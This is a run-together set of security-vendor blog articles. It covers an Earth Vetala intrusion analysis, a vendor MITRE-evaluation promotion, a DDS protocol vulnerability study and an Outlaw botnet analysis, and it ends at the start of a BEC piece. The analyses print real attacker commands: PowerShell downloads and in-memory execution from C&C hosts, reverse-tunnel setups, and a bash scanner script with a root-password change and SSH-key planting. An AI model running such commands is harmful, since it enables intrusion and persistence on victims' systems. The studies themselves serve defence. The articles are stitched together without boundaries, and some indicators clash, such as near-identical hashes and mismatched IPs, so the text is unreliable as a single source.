RemoteUtilities Analysis
When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command:
Figure 4.
RemoteUtilities Installation
The MSI installer installs a service on the victim machine called Remote Utilities – Host:
Figure 5.
Remote Utilities Service
The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities.
This connection is related to one of its features called Internet-ID Connection.
This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.
This allows the threat actor to connect to the Internet-ID server, which then connects to the actual RemoteUtilities host.
Figure 6. id-server connection
Post-Exploitation Analysis
During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software.
They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)
As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.
The same domain was mentioned in the previous research.
We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands.
cmd.exe net user /domain
The command above allows the attacker to get all the users from the domain controller.
The next command executed is the following:
powershell.exe -exec bypass -w 1 -file a.ps1
This is a command to execute a PowerShell script of some kind.
However, we did not have access to the a.ps1 file.
We are not sure what functionality is provided here.
The next command issued is the following:
powershell.exe iwr -uri http://87.236.212[.
]184/SharpChisel.exe -outfile c:\programdata\SharpChisel.exe -usebasicparsing
The command is connected to 187.236.212[.
]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\programdata directory.
The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.
The above IP address is geolocated to a server in Iran.
The following command then configures SharpChisel:
C:\programdata\SharpChisel.exe client 87.236.212[.
]184:8080 r:8888:127.0.0.1:9999
This directs all traffic to the localhost at port 9999 to the same remote server.
Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line:
powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.
]184:443 R:8888:127.0.0.1:9999
This time, traffic will be forwarded to the server over port 443.
A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command:
C:\programdata\SharpChisel.exe client 23.95.215[.
]100:8080 r:8888:127.0.0.1:9999
It is then configured with the following command line PowerShell command:
powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.
]100:8080 R:8888:127.0.0.1:9999
We believe that the threat actor was unable to configure SharpChisel to work correctly.
The use of the following command provides additional evidence to support our assumption:
powershell.exe iwr -uri hxxp://87.236.212[.
]184/procdump64.exe -outfile c:\programdata\procdump64.exe -usebasicparsing
The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\programdata directory.
That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.
Figure 7.
LIGOLO execution example
This was done using two separate commands:
C:\programdate\1.exe -relayserver 87.236.212[.
]184:5555
C:\users\public\new.exe -relayserver 87.236.212[.
]184:5555
We then see the threat actor again attempting to use SharpChisel several times using the following command:
C:\programdata\SharpChisel.exe  client 87.236.212[.
]184:8080 r:8888:127.0.0.1:9999
powershell.exe C:\programdata\SharpChisel.exe client 87.236.212[.
]184:8080 R:8888:127.0.0.1:9999
We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.
Following the unsuccessful attempt to configure a tunnel connection to their C&C server, the threat actors downloaded a remote access tool (RAT) and attempted to configure it.
The following PowerShell command was used for this:
powershell.exe iwr -uri hxxp://87.236.212[.
]184/out1 -outfile c:\users\public\out1.exe -usebasicparsing
The command downloads out1.exe and saves the file in the C:\users\public\ directory.
Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.
We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.
These are then decompiled to get the original python code using easypythondecompiler.
The out1.exe RAT has the following capabilities:
Data encoding
Email parsing
File and registry copy
HTTP/S connection support
Native command line
Process and file execution
After this, the file C:\users\public\Browser64.exe is run.
Browser64 is a tool that extracts credentials from the following applications:
Chrome
Chromium
Firefox
Opera
Internet Explorer
Outlook
Figure 8.
Usage Example of Browser64.exe
Following the use of browser64.exe, we observed the following command being executed:
powershell.exe iex(new-object System.
Net.WebClient).DownloadString('hxxp://23.94.50[.
]197:444/index.jsp/deb2b1a127c472229babbb8dc2dca1c2/QPKb49mivezAdai1')
They again attempted to use SharpChisel with no success:
powershell.exe C:\programdata\SharpChisel.exe client 23.95.215[.
]100:443 R:8888:127.0.0.1:9999
C:\programdata\SharpChisel.exe client 23.95.215[.
]100:443 R:8888:127.0.0.1:9999
C:\programdata\SharpChisel.exe server -p 9999 --socks5
Finally, we observed a persistence mechanism being set using the following commands:
cmd.exe /c Wscript.exe "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\news.js"
cmd.exe /c "C:\Users\[REDACTED]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\newsblog.js"
We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL:
hxxp://23[.]95[.]215[.
]100:8008/index.jsp/7e95a3d753cc4a17793ef9513e030b49/4t2Fg7k6wWRnKgd9
Figure 9. newsblog.js
The script sets up a new HTTP object and then tries to disable the system's local proxy settings.
The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.
At the time of our analysis, this server was still available.
The response from the server contains an encoded PowerShell script, which is executed in memory.
Decoding this script reveals that it contains a backdoor:
Figure 10. deobfuscated PowerShell backdoor
The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor.
The PowerShell backdoor has the following capabilities.
Check for Skype connectivity
Download and install Skype
Encoded communication with its C2
Execute commands sent from the C2 server
Get multifactor authentication settings
Get the currently logged on user and OS version
Earth Vetala Footprint
Earth Vetala conducted an extensive offensive campaign targeting multiple countries.
We observed it operating in the following countries:
Azerbaijan
Bahrain
Israel
Saudi Arabia
United Arab Emirates
Figure 11.
Affected countries
We observed Earth Vetala target the following sectors:
Government Agencies
Academia
Tourism
Trend Micro Solutions
Earth Vetala represents an interesting threat.
While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly.
This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.
Our findings in this area were made possible by our Dedicated Intelligence Research (DIR) analysts.
They are on-hand to help organizations reach important decisions and understand the nature of the security challenges they face.
For more information on the Dedicated Intelligence Research service, please contact your regional Sales team to learn more.
MITRE ATT&CK Techniques Mapping
Tactic
Technique
Resource Development
Acquire Infrastructure: Web Services – T1583.006
Initial Access
Phishing: Spearphishing Attachment – T1566.001
Phishing: Spearphishing Link – T1566.002
Execution
Command and Scripting Interpreter: PowerShell – T1059.001
Command and Scripting Interpreter: Windows Command Shell – T1059.003
Command and Scripting Interpreter: Visual Basic – T1059.005
User Execution: Malicious Link – T1204.001
User Execution: Malicious File – T1204.002
Persistence, Privilege Escalation
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1547.001
Discovery
Account Discovery: Domain Account - T1087.002
Credential Access
Credentials from Password Stores: Credentials from Web Browsers – T1555.003
Command and Control
Data Encoding: Standard Encoding – T1132.001
Defense Evasion
Deobfuscate/Decode Files or Information - T1140
Indicators of Compromise
Files
File name
SHA-256
Trend Micro Detection Name
Description
SharpChisel.exe
61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2
HackTool.MSIL.Chisel.A
SharpChisel tunneling tool
PD64.dll
ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131
Trojan.
Win64.PASSDUMP.A
File used by HackTool.
Win64.PassDump.AC
PasswordDumper.exe
0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3
HackTool.
Win64.PassDump.AC
Password dumping tool
out1.exe
79fd822627b72bd2fbe9eae43cf98c99c2ecaa5649b7a3a4cfdc3ef8f977f2e6
HackTool.
Win64.Lazagne.AG
Pyinstaller remote access tool
newsblog.js
304ea86131c4d105d35ebbf2784d44ea24f0328fb483db29b7ad5ffe514454f8
Trojan.JS.DLOADR.AUSUOL
VBS downloader
new.exe
fb414beebfb9ecbc6cb9b35c1d2adc48102529d358c7a8997e903923f7eda1a2
HackTool.
Win64.LIGOLO.A
LIGOLO tunneling tool
Browser64.exe
3495b0a6508f1af0f95906efeba36148296dccd2ab8ffb4e569254b683584fea
HackTool.
Win64.BrowserDumper.A
Tool for accessing browser DBs
1.exe
78b1ab1b8196dc236fa6ad4014dd6add142b3cab583e116da7e8886bc47a7347
HackTool.
Win64.LIGOLO.A
LIGOLO tunneling tool
مکتبة إلکترونیة.pdf
70cab18770795ea23e15851fa49be03314dc081fc44cdf76e8f0c9b889515c1b
Trojan.PDF.RemoteUtilities.A
PDF with embedded URLs
468e331fd3f9c41399e3e90f6fe033379ab69ced5e11b35665790d4a4b7cf254
Trojan.W97M.RemoteUtilities.A
RTF with embedded URLs
مکتبة إلکترونیة .zip
f865531608a4150ea5d77ef3dd148209881fc8d831b2cfb8ca95ceb5868e1393
PUA.Win32.RemoteUtilities.A
Archive containing RemoteUtilities
مکتبة إلکترونیة.exe
f664670044dbd967ff9a5d8d8f345be294053e0bae80886cc275f105d8e7a376
PUA.Win32.RemoteUtilities.A
RemoteUtilities remote access software
برنامج.zip
8bee2012e1f79d882ae635a82b65f88eaf053498a6b268c594b0d7d601b1212f
PUA.Win32.RemoteUtilities.A
Archive containing RemoteUtilities
برنامجدولیة.zip
9b345d2d9f52cda989a0780acadf45350b423957fb7b7668b9193afca3e0cd27
PUA.Win32.RemoteUtilities.A
Archive containing RemoteUtilities
ورش مجانية.zip
5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd
PUA.Win32.RemoteUtilities.A
Archive containing RemoteUtilities
مکتالمنحالدراسیة.zip
b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf
PUA.Win32.ScreenConnect.P
Archive containing ScreenConnect
المنح الدرایةس.exe
3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b
PUA.Win32.ScreenConnect.P
ScreenConnect remote access software
Network
23.94.50.197:444
23.95.215.100:443
23.95.215.100:8080
87.236.212.184:443
87.236.212.184:8008
Tags
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Research
By developing a common language to arm analysts with a standard to describe attacks, MITRE ATT&CK has become a critical knowledgebase for cyber defenders, ultimately improving security efficiency and response time.
The annual MITRE Evaluation compares industry-wide innovation to deliver the solutions necessary to detect and respond to the evolving threat landscape.
The evaluation offers cybersecurity solution buyers and customers with an unbiased option to evaluate security products to arm themselves against the latest advances from attackers based on their areas of greatest need.
This year’s evaluation saw vendors detect and respond to tactics, techniques, and procedures (TTPs) from two emulated adversary scenarios that are broadly defining modern ransomware today — Wizard Spider, a cybercriminal extortion gang, and Sandworm, a disruptive threat group focused on data destruction.
Critical evaluation categories include:
Analytic Coverage: Enriched detections to deliver greater context to investigation by adding ATT&CK TTP mapping, improving triage for analysts.
Visibility: Clear availability of analytic or telemetry information to enable faster response time for incident response and threat hunting.
Protection: Threat prevention and blocking to deflect risk early-on and optimize holistic security team efforts.
Trend Micro’s Unified Cybersecurity Platform Recorded Impressive Results
For the third year in a row Trend Micro Vision One proved itself as an invaluable tool for security teams.
It tested against simulated breaches that included 109 total attack steps.
Detection: Delivered on 19/19 attack steps in the evaluation, for 100% detection.
Visibility: Provided clear visibility on 105 out of 109 attack methods providing 96.33% coverage.
Protection: Top ranking in the protection category, offering 100% prevention.
Linux: Top performance among leading vendors, detecting and preventing 100% of attacks against the Linux host.
Trend Micro recommends customers prioritize Linux coverage considering its popularity as the most used OS in cloud-native applications.
Trend Micro Vision One correlates intelligence across email, endpoints, servers, networks and cloud workloads to generate fewer but higher fidelity alerts for security operations (SecOps) teams.
The increase in efficiency simplifies investigations, optimizes SecOps productivity, and accelerates remediation to stop threat actors in their tracks before they have a chance to cause lasting damage.
Vision One connect the dots in security incidents, showing how they might be related and highlighting indicators of compromise similar to known attack groups and types.
To read a full copy of the MITRE Engenuity ATT&CK Evaluation for Trend Micro Vision One report, please visit: https://resources.trendmicro.com/MITRE-Attack-Evaluations.html
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APT & Targeted Attacks
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Articles, News, Reports
By Federico Maggi, Rainer Vosseler (Trend Micro Research), Mars Cheng, Patrick Kuo, Chizuru Toyama, Ta-Lun Yen (TXOne Networks), Erik Boasson (ADLINK), and Victor Mayoral Vilches (Alias Robotics)
Despite being unknown even to industry practitioners, the Data Distribution Service (DDS) protocol has been in use for more than a decade.
This middleware software technology is responsible for running billions of public and private devices and mechanisms currently in use.
DDS is integral in embedded systems that require real-time machine-to-machine communication, facilitating a reliable communication layer between sensors, controllers, and actuators.
This technology is situated at the beginning of the supply chain as a layer that connects, controls, and monitors applications, sensors, and actuators, aimed at maintaining interoperability and fault tolerance.
It is used in various critical sectors such as healthcare, transportation, industrial internet of things (IIoT), robotics, aeronautics, and the military, among others.
Given these factors, this makes the middleware technology an attractive target for attackers.
We analyzed this software and found multiple security vulnerabilities.
This blog lists 13 identified security gaps that were assigned new CVE IDs found in the six most common DDS implementations, mostly concerning deployment.
We also show a preview of the security gaps we found in the standard’s specification and a summary of our testing procedure.
For details on the known vulnerabilities, attack scenarios, and research methodology, read our full paper “A Security Analysis of the Data Distribution Service (DDS) Protocol.” All the vulnerabilities found have been disclosed and patched or mitigated by their respective vendors.
New vulnerabilities
We studied six widely used DDS implementations, chosen based on executions’ number of users and customers in the critical sectors globally.
We also looked at each implementation’s real-time publish-subscribe (RTPS) packet, as DDS is dependent on its own lower layer standard protocol.
Notably, we also studied the Robot Operating System 2 (ROS 2) because it uses DDS as its default standard operating system (OS) middleware for all robotics and automation use cases.
Given the service’s position as a security and operations building block, all vulnerabilities that affect DDS also affect the rest of the software stack, such as RTPS and all ROS 2 instances.
Product Name
Developer
HQ Region
Open Source
Core Language
Year Developed
Fast-DDS
eProsima
EMEA
Apache License 2.0
C++
2014
Cyclone DDS
Eclipse Foundation project, driven by ADLINK
EMEA
Eclipse Public License 2.0 and Eclipse Development License 1.0
C
2011
OpenDDS
OCI
NABU
Custom
C++
2005
Connext DDS
RTI
NABU
Extensions are open source
C++
2005 (NDDS – 1995)
CoreDX DDS
TwinOaks
NABU
Not open source
C
2009
Gurum DDS
GurumNetworks
APAC
Not open source
C
Table 1.
A list of all DDS implementations analyzed for this research.
MITRE ATT&CK ICS
Attack Surface
Vector
CVE
Scope
CVSS
Weaknesses (CWE)
T0804: Brute Force I/O
T0814: DoS
T0827: Loss of Control
T0880: Loss of Safety
T0802: Automated Collection
T0846: Remote System Discovery
T0856: Spoof of Reporting Message
Network
RTPS discovery packet
CVE-2021-38425
Fast-DDS, ROS 2
7.5
CWE-406: Network amplification
CVE-2021-38429
OpenDDS, ROS 2
7.5
CVE-2021-38487
Connext DDS, ROS 2
7.5
CVE-2021-43547
CoreDX DDS, ROS 2
7.5
Malformed RTPS packet
CVE-2021-38447
OpenDDS, ROS 2
8.6
CWE-405: Network amplification
CVE-2021-38445
OpenDDS, ROS 2
7.0
CWE-130: Improper handling of length
CVE-2021-38423
Gurum DDS, ROS 2
8.6
CWE-131: Incorrect calculation of buffer size
CVE-2021-38435
Connext DDS, ROS 2
8.6
CVE-2021-38439
Gurum DDS, ROS 2
8.6
CWE-122: Heap-based buffer overflow
T0862: Supply Chain Compromise
T0839: Module Firmware
T0873: Project File Infection
Configuration
XML file
CVE-2021-38427
Connext DDS, ROS 2
6.6
CWE-121: Stack-based buffer overflow
CVE-2021-38433
Connext DDS, ROS 2
6.6
CVE-2021-38443
Cyclone DDS, ROS 2
6.6
CWE-228: Improper handling of syntactically invalid structure
CVE-2021-38441
Cyclone DDS, ROS 2
6.6
CWE-123: Write-what-where condition
Table 2.
A summary of our findings across the main DDS implementations and standard specification.
When the security gaps on the network attack surface are exploited, it allows an attacker to perform spoofing, reconnaissance, automated data collection, and denial of service (DoS), affecting the control of an exposed system.
Meanwhile, the vulnerabilities we found on the configuration attack surface can be abused to affect the DDS developer or system integrator, potentially compromising the integrity of the software supply chain.
Vulnerabilities in the standard specification
The built-in RTPS discovery protocol is used in peer-to-peer networks to discover the locator of each participant (such as IP address and UDP/TCP port or offset in shared memory).
The “chatty” nature of this discovery protocol and the fact that it expects a reply from each contacted participant, paired with easy-to-spoof transport protocols such as the User Datagram Protocol (UDP), make RTPS vulnerable to network reflection and amplification.
Confidentiality and authenticity for this data is not protected even with DDS Security, making it possible for an attacker to spoof the information.
CVE ID
Scope
Partially Mitigated*
BAF
Percentage of Attack Duration
(Total experiment duration = 139s)
CVE-2021-38425
Fast-DDS, ROS 2
master branch
9.875
100.0
CVE-2021-38429
OpenDDS, ROS 2
>= 3.18.1
18.68
24.17
CVE-2021-38487
Connext DDS, ROS 2
>= 6.1.0
2.011
84.17
CVE-2021-43547
CoreDX DDS, ROS 2
> 5.9.1
32.82
18.14
Table 3.
The network reflection and amplification vulnerability with bandwidth amplification factor (BAF) is calculated as the ratio between outbound and reflected traffic.
Note: Implementations with less than 100% attack duration likely have a timeout mechanism.
(*) A full mitigation will require relevant changes in the RTPS specification.
The longest running node was based on Connext DDS (at 139 seconds), which we kept as a reference.
Table 3 shows that the BAF is greater than one, implying there are asymmetric network flows although the values are at the order of magnitude lower than modern amplification attacks (note that Memcached can reach 10,000 to 51,000 BAF).
However, the network bandwidth in embedded systems is also lower than, for example, what internet nodes can provide.
An attacker can abuse this built-in discovery feature for remote discovery and fingerprinting.
We sent RPTS discovery probes to the entire IPv4 space (except for the no-scan subnets) and received answers from 643 hosts (excluding obvious honeypots).
Notably, hosts never stopped sending traffic to us, even if we only sent them a single 288-byte packet.
This new network-reflection vulnerability that we found is not the only instance of a specification-level vulnerability.
Security researchers from different organizations have been documenting and creating attack scenarios abusing these vulnerabilities as early as 2015.
Conclusion
Proper supply chain management processes allow contextualization, tracking, and monitoring of new vulnerabilities within different downstream software using a specific library such as DDS.
In the case of this middleware technology, DDS is just one of the many critical libraries used in embedded applications that’s easy to lose track of.
Our paper, “A Security Analysis of the Data Distribution Service (DDS) Protocol,” includes short- and long-term mitigation best practices and recommendations, as well as a consideration for adopting a shift-left approach.
We also acknowledge the cooperation and engaging response that some vendors like ADLINK have adopted when we approached them with our findings.
As we encourage more DDS researchers, users, and implementors to keep on studying and promoting security awareness for the DDS ecosystem, we hope the level of engagement we received can serve as a model for the software industry.
Download our full paper here.
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ICS OT
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As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity.
It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources.
While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.
The updates expanded scanner parameters and targets, looped execution of files via error messages, improved evasion techniques for scanning activities, and improved mining profits by killing off both the competition and their own previous miners.
We analyzed the kits, which were designed to steal information from the automotive and finance industries, launch subsequent attacks on already compromised systems, and (possibly) sell stolen information.
Comparing this development to their previous attacks, we think Outlaw may be aiming to go after enterprises that have yet to update their systems, assessing security and changes with their previously infected hosts, finding new and old targets, and possibly testing their updates in the wild.
We will continue to observe the group’s activities as they target industries from the United States and Europe.
Based on the samples we collected and traced to 456 distinct IPs, we expect the group to be more active in the coming months as we observed changes on the versions we acquired.
Routine
These new samples targeted Linux- and Unix-based operating systems, vulnerable servers, and internet of things (IoT) devices by exploiting known vulnerabilities with available exploits.
This time, the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit (CVE-2016-5195) as attack vectors.
Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials.
While no phishing- or social engineering-initiated routines were observed in this campaign, we found multiple attacks over the network that are considered “loud.” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control (C&C) server.
The honeynet graphs, which show activity peaks associated with specific actions, also suggest that the scans were timed.
We also considered the move as an obfuscation technique, as it was mixed with a lot of script kiddie activities that can easily be mistaken for grey noise online.
The attackers could hide their activities if they noted the business hours of the intended targets and performed the actions coinciding with said times.
Figure 1.
Anomalous properties of a command detected from traffic
From the sample we analyzed, attacks started from one virtual private server (VPS) that searches for a vulnerable machine to compromise (previous techniques used malicious URLs or infecting legitimate websites for bot propagation).
Once infected, the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “whole kit” of binary files at once with naming conventions same as the ones already in the targeted host, likely banking on breaking through via “security through obscurity.” They attempted to evade traffic inspection by encoding the code for the scanner with base-64.
The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background.
Decoding the scanner revealed the following codes:
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0
The kit we found is in tgz format, though we have observed some samples disguised as png or jpg.
While previous routines took advantage of competing miners’ activities and unrelated components to hijack the profit, the latest version of the code attempts to remove all related files and codes from previous infections (including their own to make sure the running components are updated, as well as those from other cybercriminals to maximize the resources of the zombie host) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files.
The tsm binary then runs in the background, forwarding a series of error messages to /dev/null to keep the code running, ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt.
The script then waits 20 minutes before it runs the wrapper script initall:
2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a  initall
Figure 2.
Running the initall wrapper script
Another variant executes a set of commands once a system is successfully compromised.
Most of these commands are related to gathering information from the infected machine (number of CPU cores, users, scheduled tasks, running processes, OS installed, and CPU and memory information) via the dota3 payload, as well as changing the password to a random string also stored in /tmp/up.txt.
In a previous execution (published in June 2019), we observed that dota2 had its own folder but it was hardly executed, indicating that this version is the updated iteration:
cat /proc/cpuinfo | grep name | wc -l
echo "root:TXhf4ICTayIh"|chpasswd|bash
echo "321" > /var/tmp/.var03522123
rm -rf /var/tmp/.var03522123
cat /var/tmp/.var03522123 | head -n 1
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
lscpu | grep Model
echo "root 123" > /tmp/up.txt
rm -rf /var/tmp/dota*
<send Outlaw kit (the archive file) to compromised host via SFTP>
cat /var/tmp/.systemcache436621
echo "1" > /var/tmp/.systemcache436621
cat /var/tmp/.systemcache436621
sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened>
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3N.....<shortened>
Running the script removes the remaining files and scripts from previous attacks, keeping a low profile to evade detection.
If the system has been previously infected with a cryptominer, it also attempts to kill the running miner and all its related activities.
Based on a bashtemp directory of the latest sample we found, there are other compiled ELF scripts, named init and init2, that loops the kit to keep running:
0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6  init
Figure 3.
Running the init ELF script
93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494  init2
Figure 4.
Running the init2 ELF script
Both init and init2 scripts make sure all other running mining services are killed, and that all the files in the working directory are executed by giving 777 permissions.
We also found the init0 script running; the script cleans out all miners regardless of its origin.
Figure 5.
The init0 script running
It then resets cron and removes possible cache files from other programs, starts scripts and binaries a, init0, and start, and sets the persistence by modifying the crontab.
The a binary is a script wrapper to start run, a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system.
The Shellbot disguises itself as a process named rsync, commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization.
This allows the malicious activity to evade detection.
Figure 6.
Current variables for rsync (the Shellbot)
Figure 7.
Connects to C&C to send current control variables
The Shellbot script is added to run after the victim’s system reboots, and scripts /a/upd, /b/sync/, and /c/aptitude/ are added to the crontab.
However, while we observed the presence of the codes, the functions of upd, sync and aptitude were disabled in the kits’ latest version.
It remains unclear whether these are leftover code from the previous versions or their particular purposes were served.
Shellbot is also used to control the botnet, with a command that is sent and run from the C&C to determine if there is a code execution in the shell, the hostname, and its architecture.
All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C.
We also found traces of Android Package Kits- (APK-) and Android Debug Bridge (ADB)-based commands that enable cryptocurrency mining activities in Android-based TVs:
Figure 8.
The tv.apk app’s Android manifest XML file
Conclusion
Since discovering the operations of this group in 2018, Outlaw continues to use scripts, codes, and commands that have been previously used and deployed.
These routines are indicative of the group’s aim to get quantitative returns through varied cybercriminal profit streams.
This was also reinforced by their naming conventions, wherein different versions are simply named after the code iterations, following a specific format regardless of the actual function of the code.
Furthermore, based on the group’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules, it appears that they’re going after enterprises who have yet to patch their systems, as well as companies with internet-facing systems with weak to no monitoring of traffic and activities.
Considering the amount of resources needed to deploy all the necessary patches for an enterprise (such as quality testing and operations alignment), which implies costly downtime for operations and the hesitation to update all systems immediately, Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded.
Save for a few iteration updates, combinations from previous deployments, and using the routines repetitively for every campaign, we found very little changes in the group’s toolkit, which allowed various honeypots across the Eastern European region to detect many of the sent binaries.
Meanwhile, the group uses a wide range of IP addresses as input for scanning activities that are grouped by country, allowing them to attack certain regions or areas within particular periods of the year, as previously observed.
We think the group has likely become more enterprising, and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort.
By shaping the attack, the group may be able to create niches in the underground, catering to the specific needs of their customers.
Also aware of the existing laws in Europe, they can avoid prosecution in certain countries as long as they avoid attacking them.
Collection of results and data from scanning in this manner might be easier to sort (while allowing them to stay under the radar), as compared to getting feedback from zombie bots deployed around the world simultaneously.
We will continue to monitor this hacking group’s activities and their toolkit’s developments.
Outlaw’s attack routines may not be new, but it still serves as a reminder for enterprises to update their systems regularly.
Legacy system users may use their providers’ virtual patches.
Users are advised to close unused ports, to secure ports and other internet-facing devices that are regularly open for system administrators’ support.
Users can also adopt a multilayered security solution that can protect systems from the gateway to the endpoint, actively blocking malicious URLs by employing filtering, behavioral analysis, and custom sandboxing.
Trend Micro solutions
Users can consider adopting security solutions that can defend against malicious bot-related activities such as Outlaw’s through a cross-generational blend of threat defense techniques.
Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads.
With technologies that employ web/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities.
A multi-layered connected network defense and complete visibility into all network traffic, in addition to a next-generation intrusion prevention system (NGIPS), can help organizations stay a step ahead of threats that could compromise intangible assets.
XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security and User Protection.
Indicators of Compromise (IoCs)
SHA256
Description
Detection Name
1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa
Cryptocurrency miner
Trojan.SH.MALXMR.UWEJP
b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d
Shellbot
Backdoor.SH.SHELLBOT.AA
620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976
Tool
Trojan.
Linux.SSHBRUTE.B
fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a
Cryptocurrency miner
Coinminer.
Linux.MALXMR.SMDSL32
649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79
Cryptocurrency miner
Coinminer.
Linux.MALXMR.SMDSL64
URLs
159[.]203[.]141[.
]208
104[.]236[.]192[.
]6
45[.]9[.]148[.
]129:80      Miner pool
45[.]9[.]148[.
]125:80       Miner pool
http://www[.]minpop[.
]com/sk12pack/idents.php         Command and control
http://www[.]minpop[.
]com/sk12pack/names.php          Command and control
MITRE ATT&CK Matrix
Tags
Malware
|
APT & Targeted Attacks
|
Endpoints
|
IoT
|
Research
|
Network
The highly anonymous and often secretive nature of the internet has led to the proliferation of scams aimed at separating people and organizations from their money.
Trend Micro has been following these scams over the years and have seen many of them evolve from simplistic schemes to more sophisticated campaigns.
One of the most dangerous scams today — one which cost organizations a combined  US$1.7 billion in exposed losses in 2019 —  is Business Email Compromise (BEC).
We have already tackled a large number of BEC-related topics.
In this article, however, we would like to raise awareness about a new modus operandi involving a very clever BEC campaign that uses social engineering to target a huge number of French companies across different industries.
Figure 1.
Diagram showing how the BEC scam is carried out
Background
While investigating various BEC attacks, we found an isolated incident where malicious actors impersonated a French company in the metal fabrication industry, which provides its services to a lot of different companies.
The malicious actors behind the scam registered a domain that is very similar to the legitimate one used by the business (with the fake one having a misspelled company name) and used it to send emails to their targets.
The fraudulent domain was registered on July 27, 2020, and the perpetrators sent the fraudulent email on the same day.
The email, which was impersonating a real employee of the company, contained a request asking the targets to change the company’s banking reference to a new account with an Italian bank.
Figure 2.
